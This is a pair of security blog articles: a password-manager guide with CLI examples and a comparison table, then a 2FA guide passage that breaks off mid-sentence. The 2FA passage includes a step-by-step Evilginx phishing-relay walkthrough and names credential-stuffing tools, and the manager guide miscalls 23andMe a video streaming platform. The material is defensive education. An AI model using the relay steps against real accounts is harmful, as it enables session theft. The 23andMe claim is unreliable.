consumer account takeovers: a single breach cascades to every site sharing that password, including email, which is the master key to your digital identity. - Zero-knowledge architecture means the vendor encrypts your vault locally with a key derived from your master password; they cannot read your passwords even under legal compulsion. - Bitwarden (free, open-source, audited) is the best starting point for most people; 1Password adds a Secret Key for extra server-breach protection; KeePassXC is best for full local control. - Your master password must be a 5+ word diceware passphrase, vault encryption is only as strong as that password, as demonstrated by post-LastPass-breach cracking activity. ### Key Takeaways - Credential stuffing attacks are automated and rely entirely on password reuse, unique randomly-generated passwords per site neutralize this attack class entirely. - Zero-knowledge KDF-based encryption makes a server-side breach of the password manager vendor's infrastructure cryptographically useless to an attacker without the master password. - The LastPass 2022 breach demonstrated that low PBKDF2 iteration counts (5,000 vs. 600,000+) dramatically reduce the time required to crack stolen vault master passwords. - Browser-built-in password managers use encryption tied to the OS user account and are accessible to malware running as that user: a dedicated password manager provides stronger isolation. - Emergency access planning (printed Emergency Kit, Bitwarden Emergency Access, or a physically stored KeePass vault) is essential to prevent family lockout scenarios. In October 2023, the authentication platform Okta suffered a breach through their customer support case system, in which support tickets containing unsanitised HAR files handed over live session tokens ([the Okta breaches](/okta-breaches-explained)). In January 2023, LastPass disclosed that attackers had exfiltrated encrypted vault data for an undisclosed number of customers: the breach had begun months earlier when a LastPass engineer's home computer was compromised via a vulnerable Plex media server. In March 2023, it emerged that some of those vaults were being actively cracked because customers had used weak master passwords or old, low-iteration PBKDF2 settings. These incidents do not argue against using a password manager. They argue for using one correctly, choosing a manager with sound cryptographic design, setting a strong master password, and understanding the actual threat model. Without a password manager, you are reusing passwords across hundreds of sites, and when any of those sites is breached, every account sharing that password is compromised. That is a mathematically worse outcome than any of the password manager incidents that have ever occurred. ## Why Password Reuse Destroys Your Security Credential stuffing is the most common attack that actually succeeds against consumer accounts. The mechanics: 1. An attacker acquires a breach database: these are freely available on hacking forums. The 2019 "Collection #1" aggregation contained 773 million email/password pairs. RockYou2021 contained 8.4 billion entries. 2. An automated tool tests these pairs against target services. Tools like Snipr, SNIPR, OpenBullet, and Puppeteer-based custom scripts run thousands of login attempts per minute, distributing requests across residential proxies to evade IP-rate limiting. 3. For any site where you reused a password, the attempt succeeds automatically. The cascade failure is the real damage. Your email is the root of your digital identity: every password reset flows through it. An attacker with your email password can access your inbox, trigger resets on your bank, PayPal, AWS, GitHub, and cryptocurrency exchanges, and lock you out of every account in minutes. In 2023, the video streaming platform 23andMe suffered a credential stuffing attack that compromised approximately 6.9 million customer profiles. The company was unambiguous: the attack exploited password reuse, not a vulnerability in 23andMe's own systems. Customers who reused credentials from other breached sites had their genetic and ancestry data exposed. The Spotify and Netflix credential stuffing operations run continuously. Lists of working Netflix credentials are sold on Telegram channels. The attack requires no hacking skill, just automation and a large enough credential database. ### The Math of Reuse If you use the same password on 15 sites and one site's database is breached with recoverable hashes (MD5, unsalted SHA-1, or even some bcrypt implementations against weak passwords), you have effectively handed over 15 accounts. If one of those 15 is your email or password manager, you have handed over everything that flows through those accounts. Password managers solve this with a simple mechanism: generate a cryptographically random, unique password for every site. The human never sees, types, or memorizes most of them. The password for your Amazon account looks like `gK9#mP2@vL7qRn4$dX8&wJ5%`, 24 random printable characters. If Amazon is breached tomorrow, the attacker has a hash of that password and nothing else. It does not work anywhere else. They cannot even brute force it: the expected cracking time against bcrypt exceeds the age of the universe. ## How Password Managers Actually Work The core concern people have is obvious: isn't putting every password in one place creating a single point of failure? The answer requires understanding the cryptographic model, not the marketing claims. ### Zero-Knowledge Architecture Reputable password managers use zero-knowledge architecture: the vendor cannot read your passwords even if compelled to do so or if their servers are breached. The mechanism in detail: 1. **Key derivation**: Your master password is never stored or transmitted to the vendor. Instead, it is fed through a key derivation function (KDF) (typically PBKDF2, Argon2, or bcrypt) with a high iteration count and a user-specific salt. This process is slow by design: it might take 300ms on your device. That is imperceptible to you but catastrophic for an attacker trying billions of guesses. 2. **Local encryption**: The output of the KDF is an encryption key. Your entire vault is encrypted locally on your device with AES-256-GCM or ChaCha20-Poly1305 before anything leaves your device. 3. **Ciphertext sync**: Only the encrypted blob reaches the vendor's servers. They store gibberish from their perspective. If their entire database is stolen (as happened with LastPass in 2022) the attacker gets encrypted vaults that are computationally infeasible to crack against a strong master password. 4. **Local decryption**: When you need a password, your device receives the encrypted vault, derives the encryption key from your master password (locally), decrypts the vault locally, and fills the credential. The vendor never has the plaintext. This is not a theoretical claim: the cryptographic proofs for zero-knowledge KDF-based encryption are well-established. The attack surfaces are the master password strength, the device endpoint, and the iteration count of the KDF. ``` Master Password | v KDF (Argon2id/PBKDF2) ← salt (stored with vault) | v Encryption Key (never stored, never transmitted) | v AES-256 Encrypt(Vault) | v Ciphertext → Vendor Servers (useless without master password) ``` ### The LastPass Breach Analysis The August 2022 LastPass breach, disclosed in December 2022 and clarified through March 2023, is the most instructive real-world case. What attackers stole: - Encrypted vault data (customer passwords) - Unencrypted metadata: website URLs (not the passwords themselves, but which sites you have accounts on) - PBKDF2 iteration counts used for each customer's vault The PBKDF2 iteration count is the critical detail. LastPass's default was historically 5,000 iterations (upgraded to 100,100 by 2023, but many older accounts remained at lower settings). By contrast, Bitwarden defaults to 600,000 PBKDF2 iterations. The lower the iteration count, the faster an attacker can test master password guesses against the stolen vault. Security researcher Wladimir Palant estimated that attackers with a stolen vault encrypted at 5,000 PBKDF2 iterations could test approximately 1.7 million master password guesses per second on a single GPU. Against 600,000 iterations, that drops to under 15,000 guesses per second. The difference determines whether a compromised vault's master password is recoverable within hours or within centuries. If you use LastPass, verify your iteration count under Account Settings and update it to at least 600,000 if not already changed. ## Comparing Your Options: 1Password vs. Bitwarden vs. KeePassXC There is no universally correct choice. The right password manager depends on your threat model, technical comfort, and whether you accept cloud storage. Here is an honest evaluation of the three most commonly recommended options. ### Bitwarden **Best for**: Most people, especially those who want free, open-source, audited, and cloud-synced. Bitwarden is fully open-source, clients, server, and cryptographic implementations are publicly visible and have been audited by Cure53 (2018, 2020, 2022). The audit reports are publicly published. The free tier is genuinely complete: unlimited passwords, cross-device sync, basic 2FA, and all core functionality. The premium tier at $10/year adds TOTP generation, advanced 2FA options (hardware keys), vault health reports, and Bitwarden Send. **Cryptographic implementation:** - Key derivation: PBKDF2-SHA256 with 600,000 iterations (default as of 2023); configurable to Argon2id in settings - Vault encryption: AES-256-CBC with HMAC-SHA256 for integrity - Master password never transmitted; all cryptography performed client-side - Optional self-hosting: deploy on your own server via Docker, keeping encrypted vaults entirely under your control ```bash # Self-hosted Bitwarden (Vaultwarden community implementation) # Vaultwarden is a lightweight compatible server in Rust docker run -d --name vaultwarden \ -v /vw-data/:/data/ \ -p 80:80 \ -e DOMAIN="https://vault.yourdomain.com" \ -e ADMIN_TOKEN="your_admin_token_here" \ vaultwarden/server:latest # Full Bitwarden server (official, heavier) # Uses docker-compose with multiple services curl -Lso bitwarden.sh \ "https://func.bitwarden.com/api/dl/?app=self-host&platform=linux" bash bitwarden.sh install ``` The Bitwarden CLI enables scripting and programmatic access: ```bash # Install npm install -g @bitwarden/cli # Login bw login user@example.com # Unlock vault and get session token export BW_SESSION=$(bw unlock --raw) # Search and retrieve password bw get password "github.com" # List all items bw list items | jq '.[].name' # Generate a password bw generate -lusn --length 24 ``` **Weaknesses**: The UI is functional but not as polished as 1Password. Some minor features are premium-only. The migration path from LastPass's proprietary vault format requires some manual work. ### 1Password **Best for**: Individuals, families, and teams willing to pay for the best UX and deepest platform integration, particularly on Apple devices. 1Password is closed-source but has published independent security audits from multiple firms, including a comprehensive review by Cure53 and ongoing SOC 2 Type 2 compliance reports. The pricing is $2.99/month for individuals, $4.99/month for families (up to 5 users), and $7.99/user/month for teams. **What makes 1Password's cryptographic model different:** The **Secret Key** is 1Password's distinguishing security feature. In addition to your master password, 1Password generates a 34-character, 128-bit-entropy Secret Key locally on first account creation. The encryption key is derived from *both* your master password and the Secret Key. Neither component alone can decrypt the vault. ``` Encryption Key = KDF(Master Password + Secret Key + Salt) ``` This means even if an attacker steals your master password (via phishing, keylogging, shoulder surfing), they cannot decrypt your vault without the Secret Key, which is never transmitted to 1Password and exists only in your Emergency Kit and on enrolled devices. A server-side breach of 1Password's infrastructure exposes encrypted vaults but not the Secret Keys needed to decrypt them. The tradeoff: the Secret Key adds meaningful protection against server-side compromise and weak master passwords, but it also means that losing your Emergency Kit without having it stored somewhere recoverable can result in permanent account lockout if all your enrolled devices are lost. ``` # 1Password Emergency Kit contains: # - Account email address # - Secret Key (34 characters, e.g., A3-XXXXX-XXXXX-XXXXX-XXXXX-XXXXX-XXXXX) # - Space to write your master password # Print this and store it in a safe or safety deposit box ``` **Notable features:** - **Travel Mode**: Remove specified vaults from devices temporarily. When crossing a border where device searches are a risk, sensitive vaults can be hidden and restored after crossing. - **Watchtower**: Monitors your credentials against HIBP breach data, flags sites with known vulnerabilities, flags sites where 2FA is available but not enabled, and flags reused or weak passwords. - **TOTP built-in**: Store and generate TOTP codes for sites directly in 1Password (controversial: you're storing "something you know" and "something you have" in the same place, but operationally convenient). - **Passkey support**: Store and sync passkeys across devices. - **Deep browser integration**: 1Password browser extensions detect form fields precisely and handle unusual login flows that other managers fumble. **Weaknesses**: Closed source (cannot verify cryptographic claims independently beyond audit reports). No self-hosting. No free tier. The iOS and macOS integration is excellent; Windows and Android are good but slightly behind. ### KeePassXC **Best for**: Technical users who want maximum control, offline storage, and zero vendor dependency. High-security environments, air-gapped workstations, and users who cannot tolerate third-party cloud storage under any circumstances. KeePass stores your vault as a local encrypted file in `.kdbx` format. KeePassXC is the recommended modern fork (the original KeePass is Windows-only and uses .NET; KeePassXC is cross-platform C++ with better UI and active development). Sync is your responsibility, use Syncthing, a self-controlled cloud drive, or a USB drive. **Cryptographic implementation (KDBX 4 format):** ``` # KeePassXC uses: # - Argon2id key derivation (KDBX 4 — strongly preferred over KDBX 3.1's AES-KDF) # - AES-256 or ChaCha20 for vault encryption # - Optional key file: requires possession of a specific file in addition to password # The key file adds ~256 bits of additional entropy # Key file + password means: # EncryptionKey = KDF(password + key_file_contents) # Someone with your password but not the key file cannot decrypt the vault ``` The key file is a powerful addition to the threat model. You can store the key file on a separate USB drive: an attacker who steals your vault file from your encrypted laptop cannot decrypt it without both the password and the physical USB drive. ```bash # Create a new database with Argon2id KDF via CLI keepassxc-cli db-create --set-key-file /path/to/keyfile.key vault.kdbx # Add an entry keepassxc-cli add --username "user@example.com" vault.kdbx github.com # Get a password keepassxc-cli show vault.kdbx "github.com" # Generate a password keepassxc-cli generate --length 32 --upper --lower --numeric --special # Export to CSV (for migration) keepassxc-cli export --format csv vault.kdbx > export.csv ``` **Mobile apps**: KeePassDX on Android and Strongbox on iOS are excellent. Both support KDBX 4, Argon2, key files, and biometric unlock. Syncing the `.kdbx` file via Syncthing or encrypted cloud storage is straightforward once set up. **SSH agent integration**: KeePassXC has built-in SSH agent support: it can store SSH private keys in the vault and expose them to the SSH agent without writing them to disk: ``` # Enable in: Tools → Settings → SSH Agent # Add private key to an entry: Advanced → Attachments # Enable "Add key to agent when database is open" ``` **Weaknesses**: No emergency access mechanism. Cross-device sync requires manual setup. No built-in breach monitoring. The initial setup is significantly more technical than cloud-based options. ### Full Feature Comparison | Feature | Bitwarden Free | Bitwarden Premium | 1Password | KeePassXC | |---|---|---|---|---| | Price | Free | $10/yr | $36/yr+ | Free | | Open Source | Yes | Yes | No | Yes | | Independent Audit | Yes (published) | Yes | Yes (published) | Yes | | Cloud Sync | Yes | Yes | Yes | Manual (your choice) | | Self-host | Yes | Yes | No | N/A (local) | | Key Derivation | PBKDF2/Argon2id | PBKDF2/Argon2id | PBKDF2 + Secret Key | Argon2id | | Emergency Access | No | Yes | Yes (Emergency Kit) | No (manual) | | Hardware Key 2FA | No | Yes (FIDO2) | Yes (FIDO2) | No | | TOTP Generator | No | Yes | Yes | Yes | | Passkey Support | Yes | Yes | Yes | No | | Breach Monitoring | Limited | Yes (HIBP) | Yes (Watchtower) | No (manual) | | Browser Extensions | All major | All major | All major | All major | | Mobile Apps | iOS, Android | iOS, Android | iOS, Android | Via KeePassDX/Strongbox | | CLI | Yes | Yes | Yes | Yes | | SSH Agent | No | No | Yes (SSH keys) | Yes | | Travel Mode | No | No | Yes | Manual | | Key File Support | No | No | No (Secret Key instead) | Yes | ### The Verdict For most people: **Bitwarden free**. It removes all financial friction, covers every core use case, is genuinely open-source and audited, and has no meaningful limitations that matter for personal use. Start here. For teams and organizations: **1Password Teams** or **Bitwarden Organization**. 1Password's team management UX is better; Bitwarden's organization pricing is significantly lower. Both support granular access controls, shared vaults, and administrative oversight. For high-security individuals and air-gapped environments: **KeePassXC** with Argon2id, a key file on a separate USB drive, and Syncthing for sync. ## Your Master Password Is Everything Zero-knowledge encryption is as strong as your master password. If your master password is weak, your encrypted vault is crackable, as demonstrated by the post-LastPass-breach cracking activity reported in 2023. ### Diceware Passphrases The strongest and most memorable master passwords use diceware: randomly selected words from a large wordlist, where the randomness comes from physical dice rolls or a cryptographic random number generator. The EFF Large Wordlist contains 7,776 words (6^5, five dice rolls per word). Each word adds log₂(7,776) ≈ 12.9 bits of entropy. A five-word passphrase gives 64.5 bits of entropy. A six-word passphrase gives 77.4 bits. ```python # Generate a diceware passphrase programmatically import secrets # EFF Large Wordlist (download from https://www.eff.org/files/2016/07/18/eff_large_wordlist.txt) def load_eff_wordlist(filepath: str) -> dict: words = {} with open(filepath) as f: for line in f: dice, word = line.strip().split('\t') words[dice] = word return words def diceware_passphrase(word_count: int = 6) -> str: wordlist = load_eff_wordlist('eff_large_wordlist.txt') selected = [] for _ in range(word_count): # Simulate 5 dice rolls using cryptographically secure randomness roll = ''.join(str(secrets.randbelow(6) + 1) for _ in range(5)) selected.append(wordlist[roll]) return ' '.join(selected) # Example output: "correct horse battery staple pencil mirror" # Entropy: 6 × 12.9 = 77.4 bits # Do NOT use this exact phrase — generate your own ``` **Never use a passphrase you have seen in an example**, `correct horse battery staple` (from the famous XKCD comic) is now in wordlists. Generate fresh phrases with actual dice or a vetted generator. ### Rules for Your Master Password - Minimum 5 random diceware words (64+ bits of entropy) - Unique: never used anywhere else, ever - Never typed into anything other than your password manager's unlock field - Never stored digitally in plaintext - Written on paper, stored physically in a secure location (home safe, safety deposit box, sealed envelope with a trusted person) - Memorized through active daily use, type it yourself for the first two weeks rather than relying on biometric unlock **On biometric unlock (Face ID, Touch ID, fingerprint)**: Biometrics are a convenience layer, not a replacement for the master password. They locally authenticate you to the device, which then retrieves the already-unlocked vault session. Know your master password. A dead phone battery or a forced device reset requires the actual password. ## Migration: Getting All Your Passwords In The single biggest obstacle to adoption is migration. Here's how to do it without being overwhelmed. ### Phase 1: Import What You Have Every major browser exports saved passwords as CSV: **Chrome / Brave / Edge:** ``` Settings → Passwords → Three-dot menu → Export passwords ``` **Firefox:** ``` about:logins → Three-bar menu → Export Logins ``` **Safari:** ``` Preferences → Passwords → three-dot menu → Export All Passwords ``` All major password managers import from these CSV files. Import immediately, even a messy, duplicate-filled import gives you a starting inventory. ```bash # Bitwarden CLI import example bw import --format chrome /path/to/chrome_export.csv # 1Password supports drag-and-drop import of CSV files from the desktop app # KeePassXC: Database → Import → CSV ``` ### Phase 2: Rolling Replacement Do not attempt to audit and fix all 200+ accounts on day one. That path leads to exhaustion and abandonment. Instead: Every time you log into a site, update that password to a freshly generated random password. Within a normal month of web usage, you'll have replaced 80+ accounts organically: the highest-traffic ones first. Configure your browser extension to detect password fields and prompt to update. In Bitwarden, this appears as the toolbar icon showing a number badge when it detects a site you have a credential for. ### Phase 3: Immediate Priority Accounts Do not wait for rolling replacement to reach these: 1. **Primary email**: everything else is recoverable through email. If email falls, everything falls. 2. **Secondary email**, also recoverable path target. 3. **Banking and financial accounts**, Venmo, PayPal, brokerage, crypto exchanges. 4. **Password manager account itself**, circular but important for cloud-based managers. 5. **Domain registrar**, if you own domains, losing the registrar account means losing email routing. 6. **Cloud storage**, Google Drive, iCloud, Dropbox contain documents and often 2FA backup codes. Change all of these to generated passwords and enable TOTP 2FA (or hardware keys) on the same day you set up the password manager. ### Phase 4: Clean Up Old Accounts Your inbox contains dozens of registrations you forgot about. Search for `"welcome to"`, `"confirm your email"`, `"verify your account"`, `"your account has been created"`. Every forgotten account is a potential breach vector. Delete accounts you no longer use. Under GDPR, EU companies must honor deletion requests. US-based services vary, but most major platforms honor them. Justdeleteme.com rates the difficulty of deleting accounts on popular services. For accounts that cannot be deleted, change the email to an alias, change the password to a generated one, and store it in your vault under a "defunct" folder. ## Emergency Access and Account Recovery Planning A password manager that only you can access is one concussion away from a family crisis. ### Bitwarden Emergency Access (Premium) Bitwarden's emergency access feature allows you to designate trusted contacts who can request access to your vault. The flow: 1. You designate a trusted contact (they must have a Bitwarden account). 2. If you are incapacitated, they click "Request Access." 3. You receive an email notification with a waiting period you set (between 1 day and 90 days). 4. If you do not deny the request within the waiting period, they gain read or takeover access to your vault. 5. If you deny, access is blocked. The waiting period prevents unauthorized access while you're still capable. This mechanism requires you to be alive and alert to deny it: not to grant it. That asymmetry is the security design. ### 1Password Emergency Kit 1Password generates a printable Emergency Kit PDF during account setup. It contains your email, your Secret Key, and a blank field for your master password. Print it. Store it. The kit must be updated if your master password changes. Treat it like a will: update it when circumstances change, store it somewhere your family would find it, and tell someone where it is. ### KeePassXC Physical Backup KeePassXC has no built-in emergency access. The practical solution: 1. Store a copy of your `.kdbx` vault file in a location your family can access (USB drive in a safe, or an encrypted cloud drive with shared access credentials stored in the same safe). 2. Write your master password (and key file location, if using one) on paper. 3. Store both in a physically secure location specified in your will or estate documents. 4. Update annually or after any password change. ### What to Document Regardless of Which Manager You Use Store this information in a physically secure location (sealed envelope, fireproof safe, safety deposit box): ``` Password Manager Emergency Information ======================================= Manager: [Bitwarden / 1Password / KeePassXC] Account Email: _______________________ Master Password: _____________________ [1Password only] Secret Key: __________ Recovery Codes: [paste or attach printed codes] Vault File Location (KeePass): _________ Key File Location (KeePass): __________ Last Updated: _______________ ``` Review this annually. The most common failure is a stale emergency kit that references a master password that was changed three years ago. ## Security Model Limitations: What Password Managers Cannot Protect Be clear-eyed about what zero-knowledge encryption does and does not protect against. **Protected:** - Server-side breach of the password manager vendor's infrastructure - Network interception of vault sync traffic - Vendor employees reading your passwords - SQL injection attacks against the vendor's database **Not protected:** - Malware running on your device at the time you type your master password. A kernel-level keylogger or a browser extension with broad permissions can capture your master password before it is processed by the KDF. - A compromised browser extension. Malicious browser extensions that mimic password manager extensions have appeared in extension stores. - Physical access to an unlocked, authenticated session. If your vault is open on your screen, its contents are accessible to anyone with screen access. - Biometric bypass via court order, coercion, or certain technical vulnerabilities. In jurisdictions where biometric unlock is used, this can compel vault access even without the master password. - Supply chain compromise of the password manager software itself. Mitigated by open source and independent auditing, but not eliminated. Browser-based password managers (Chrome's built-in manager, Firefox Lockwise) use encryption tied to your OS user account or Google/Firefox account. That encryption is accessible to any process running as your user, including malware. A dedicated password manager with a separate application lock, separate KDF, and its own encryption scheme provides substantially more isolation. This is not a theoretical concern, DPAPI-based Chrome password extraction is documented in multiple malware families and penetration testing frameworks. ## Advanced Configuration ### Argon2id in Bitwarden Bitwarden allows switching from PBKDF2 to Argon2id for KDF: ``` Settings → Security → Keys → KDF Algorithm → Argon2id Recommended: Memory: 64MB, Iterations: 3, Parallelism: 4 ``` This is more resistant to GPU cracking than PBKDF2 because Argon2id requires substantial memory in addition to computation, memory is expensive to parallelize on GPUs. Set this before your vault has substantial data. Bitwarden will re-derive and re-encrypt your vault with the new parameters. ### Hardware Key 2FA for Password Manager Access The vault is only as secure as the authentication to unlock it. For Bitwarden Premium and 1Password, hardware security keys (FIDO2) are supported for the account login step. This means even if an attacker has your email and master password, they cannot authenticate to download your vault without the physical hardware key. This does not protect the local vault cache on enrolled devices, but it does protect against remote attacks against the cloud sync mechanism. ### CLI Integration for Developers Storing API keys, service credentials, and infrastructure secrets in a password manager with CLI access is significantly better than `.env` files: ```bash # Bitwarden CLI — fetch credentials in shell scripts export BW_SESSION=$(bw unlock --raw) # Get an API key by name API_KEY=$(bw get password "AWS Production IAM") # Get username and password separately DB_USER=$(bw get username "PostgreSQL Production") DB_PASS=$(bw get password "PostgreSQL Production") # Use in scripts without embedding credentials psql -U "$DB_USER" -h db.example.com -d mydb # 1Password CLI (op) export AWS_ACCESS_KEY=$(op item get "AWS Production" --field "Access Key ID") export AWS_SECRET_KEY=$(op item get "AWS Production" --field "Secret Access Key") ``` ```yaml # 1Password with GitHub Actions — using op inject # .github/workflows/deploy.yml steps: - name: Configure AWS uses: 1password/load-secrets-action@v1 env: OP_SERVICE_ACCOUNT_TOKEN: ${{ secrets.OP_SERVICE_ACCOUNT_TOKEN }} with: export-env: true # In your .env.template file: # AWS_ACCESS_KEY_ID=op://vault/aws-prod/access_key_id # AWS_SECRET_ACCESS_KEY=op://vault/aws-prod/secret_access_key ``` ## Getting Started Right Now The migration overhead is real but finite. The cost of not migrating is a credential stuffing attack that compromises your financial accounts, your email, and your digital identity simultaneously. Decision tree: - **Technical comfort: low, budget: $0** → Bitwarden free. Install the browser extension, create an account, import your browser passwords in 15 minutes. - **Technical comfort: medium, budget: $3/month** → 1Password. Better UX on Apple devices, team features if needed. - **Technical comfort: high, cloud storage unacceptable** → KeePassXC with Argon2id and a key file. - **Organization of 10+ people** → Bitwarden Organizations or 1Password Teams. Both support SSO integration, group-based vault access, and admin controls. The ideal password manager is the one you actually use consistently. Do not spend two weeks evaluating options, pick one today, migrate your email and banking passwords tomorrow morning, and spend the next month rolling out the rest. ## Action Checklist - [ ] Choose and install a password manager today (Bitwarden is the zero-friction starting point) - [ ] Create account and set a 5+ word diceware master passphrase - [ ] Change KDF to Argon2id in settings (Bitwarden) or verify Secret Key is safely stored (1Password) - [ ] Import browser-saved passwords - [ ] Immediately change passwords for email, banking, password manager account itself - [ ] Enable hardware key or TOTP 2FA on the password manager account - [ ] Install browser extension and enable autofill - [ ] Install mobile app - [ ] Write emergency access information on paper and store it securely - [ ] Over the next 30 days: change passwords on every site you log into - [ ] After 30 days: use vault's health report to find reused and weak passwords, fix remaining issues - [ ] Annual: verify emergency kit is current, audit account access, review and delete old accounts ## Related guides - [Best Password Managers in 2026: Ranked by Security](/best-password-managers) - [How Passwords Get Cracked](/password-cracking-techniques) - [How to Set Up Two-Factor Authentication (2FA) Properly](/two-factor-authentication-guide) - [Best Hardware Security Keys (FIDO2) in 2026](/best-hardware-security-keys) ### Sources - Bitwarden Security Whitepaper (Bitwarden): https://bitwarden.com/help/bitwarden-security-white-paper/ - NIST SP 800-63B: Memorized Secret Authenticators (NIST): https://pages.nist.gov/800-63-3/sp800-63b.html - EFF Dice-Generated Passphrases (Electronic Frontier Foundation): https://www.eff.org/dice --- ## How to Set Up Two-Factor Authentication (2FA) Properly > 2FA is your best defense against account takeover. Learn the different types, which to avoid, and how to set it up on every account that matters. - URL: https://blog.pwnsy.com/two-factor-authentication-guide - Date: 2026-03-11 - Updated: 2026-04-08 - Difficulty: beginner - Category: passwords - Tags: 2fa, authentication, passwords, account-security, security-awareness - Related: [Credential Stuffing Explained: How Reused Passwords Get Exploited](https://blog.pwnsy.com/credential-stuffing-explained), [Bitwarden Review in 2026: Is It Still the Default Pick?](https://blog.pwnsy.com/bitwarden-review), [FIDO2 vs WebAuthn vs Passkeys: What Each Name Means](https://blog.pwnsy.com/fido2-vs-webauthn-vs-passkeys) ### TL;DR - FIDO2 hardware keys and passkeys are categorically stronger than TOTP or SMS: the credential is cryptographically bound to the legitimate domain, making real-time phishing relay and SIM swapping mechanically impossible. - SMS 2FA is vulnerable to SIM swapping (FTC logged 15,300 complaints in 2021, up 400% from 2018) and SS7 interception; use TOTP at minimum, hardware keys for critical accounts. - MFA push notifications are vulnerable to fatigue attacks, enable number matching in your identity provider (Entra ID, Okta) to defeat prompt bombing entirely. - Register at least two hardware keys per account and store encrypted TOTP backups separately from your phone; recovery planning is as important as setup. ### Key Takeaways - FIDO2 domain binding makes phishing-based MFA bypass mechanically impossible: a credential signed for accounts.google.com cannot authenticate to any other origin, so real-time relay attacks fail at the cryptographic layer. - TOTP is vulnerable to real-time adversary-in-the-middle proxies (Evilginx and similar), used at scale in the 2022 0ktapus campaign; TOTP stops credential stuffing and does not stop targeted phishing. - SIM swapping is a practical, well-documented attack that has resulted in multi-million-dollar losses; SMS 2FA should never be used to protect cryptocurrency accounts or other high-value assets. - MFA fatigue (prompt bombing) was used by the Lapsus$ group against Microsoft, Okta, Cisco, and others in 2022; number matching eliminates this attack vector with a single configuration change. - Backup codes must be stored separately from the authenticator app they recover; losing both simultaneously is the most common path to permanent account lockout. In August 2022, Twilio (a cloud communications company with hundreds of millions of end users downstream) was compromised through their own employees' phone numbers. Attackers sent SMS messages to Twilio staff impersonating IT, tricked them into handing over credentials, and gained access to Twilio's internal systems. From there they accessed customer data including Authy 2FA accounts for Signal users. In September 2023, MGM Resorts International suffered a $100 million disruption when the ALPHV/BlackCat ransomware group bypassed their authentication using a 10-minute phone call to the IT help desk, social engineering a credential reset. MGM's 2FA was apparently SMS-based for the initial access vector. In October 2023, Okta's support system was breached partly because attackers reused credentials obtained from a prior breach against accounts without adequate MFA. The pattern is consistent: most authentication failures in significant enterprise breaches involve either no second factor, SMS-based second factors, or push-notification MFA susceptible to fatigue attacks. The technology to prevent this has existed since 2014, phishing-resistant hardware keys and, more recently, passkeys. Understanding why these are categorically different from SMS codes is the foundation of real authentication security. ## What 2FA Actually Prevents (and What It Doesn't) Two-factor authentication requires two independent pieces of evidence to prove identity. The "independent" requirement is critical, if both factors can be compromised by the same attack, they are not truly independent. **What properly implemented 2FA prevents:** - Credential stuffing: attacker has your password from a breach but not the second factor - Brute force password attacks: the second factor blocks even a correct guess - Password spraying: same issue - Shoulder surfing: attacker sees your password typed but doesn't have the second factor - Data breaches exposing hashed passwords: cracking the hash gives the password but not the second factor **What SMS 2FA fails to prevent:** - Real-time phishing proxies: attacker relays your code to the real site faster than it expires - SIM swapping: attacker takes over your phone number, receives your codes - SS7 exploitation: attacker diverts your SMS at the network layer - Malware on your phone: reads SMS messages **What TOTP fails to prevent:** - Real-time phishing proxies (Evilginx, Modlishka, Muraena): these are adversary-in-the-middle proxies that relay the TOTP code in real time, completing the login before the 30-second window expires - Malware on the device running the authenticator app **What FIDO2/WebAuthn hardware keys and passkeys prevent that nothing else does:** - All of the above, because the credential is **cryptographically bound to the legitimate domain**. When you tap a YubiKey on `accounts.google.com`, the cryptographic assertion is mathematically tied to that specific domain. A phishing site at `accounts-google.com` or even `accounts.google.com.phishing.com` receives an assertion that will not validate on Google's servers. Real-time relaying is impossible: you cannot forward a domain-bound signature to a different domain. This distinction (domain binding), is why hardware keys and passkeys are categorically stronger than everything else. ## The TOTP Algorithm: How Authenticator Apps Work Time-based One-Time Passwords (RFC 6238) deserve a technical explanation because understanding them reveals both their strengths and the real-time phishing vulnerability. When you scan a QR code to add a site to your authenticator app, you are receiving a shared secret, typically 20 bytes encoded in Base32. The QR code looks something like: ``` otpauth://totp/GitHub:user@example.com?secret=JBSWY3DPEHPK3PXP&issuer=GitHub&algorithm=SHA1&digits=6&period=30 ``` The TOTP algorithm generates codes as follows: ```python import hmac import hashlib import struct import time import base64 def generate_totp(secret_b32: str, digits: int = 6, period: int = 30) -> str: """ RFC 6238 TOTP implementation. Both the authenticator app and the server compute this identically. The shared secret is the only thing that ties them together. """ # Decode the Base32 shared secret key = base64.b32decode(secret_b32.upper() + '=' * (-len(secret_b32) % 8)) # T = floor(current_time / period) # This creates a 30-second time window where the code is valid timestamp = int(time.time()) // period # Encode timestamp as 8-byte big-endian unsigned int msg = struct.pack('>Q', timestamp) # HMAC-SHA1 of the time counter with the shared secret h = hmac.new(key, msg, hashlib.sha1).digest() # Dynamic truncation: use the last 4 bits of the last byte as offset offset = h[-1] & 0x0f # Extract 4 bytes starting at offset, clear the high bit code = struct.unpack('>I', h[offset:offset+4])[0] & 0x7fffffff # Reduce to desired number of digits return str(code % (10 ** digits)).zfill(digits) # The server does the same computation and compares # Typically accepts T-1 and T+1 windows (one period before and after) # to account for clock drift # Test secret = "JBSWY3DPEHPK3PXP" print(generate_totp(secret)) # Same 6-digit code your app shows right now ``` The critical property: **no network communication is required**. The code is computed entirely locally from the shared secret and the current time. This is why TOTP works in airplane mode. It also explains why TOTP is vulnerable to real-time relay: the code is valid for 30 seconds, and a phishing proxy can relay it to the real site in milliseconds. ### Real-Time Phishing Proxy Attack Against TOTP Tools like Evilginx2 automate this attack: ``` 1. Attacker registers convincing typosquat domain: accounts-google-login.com 2. Evilginx proxies all traffic between victim and real Google 3. Victim visits phishing link, sees real Google login page (Evilginx is a transparent proxy) 4. Victim enters email and password → Evilginx captures them, relays to Google 5. Google sends TOTP challenge → Evilginx shows it to victim 6. Victim enters TOTP code → Evilginx captures it, relays to Google within milliseconds 7. Google authenticates successfully → Evilginx captures the session cookie 8. Victim is "logged in" (they see their real Google account) 9. Attacker has the session cookie, replays it from a separate browser 10. Attacker is also logged in, even after the TOTP code expires ``` The session cookie is the prize: it does not expire when the TOTP code does. This is documented in real incidents. The 2022 campaign tracked as 0ktapus ran phishing sites that relayed credentials and one-time codes to the real login in real time, taking session tokens from more than a hundred organisations. (The 2022 Uber breach is a different technique and is often confused with this one: there the attacker had a purchased password and used repeated push approval prompts plus a message posing as IT, covered in [The Uber 2022 Breach](/uber-2022-breach-explained).) **Hardware keys and passkeys defeat this completely.** The key signs a challenge that includes the origin domain. When Evilginx intercepts the authentication and forwards it to the victim, the victim's hardware key signs a challenge containing `accounts-google-login.com`, not `accounts.google.com`. The signature cannot be replayed to Google because it is bound to the wrong domain. ## SMS 2FA: Why It's Broken SS7 (Signaling System 7) is the protocol telecommunications carriers use to route calls and messages internationally. Designed in 1975 with no authentication 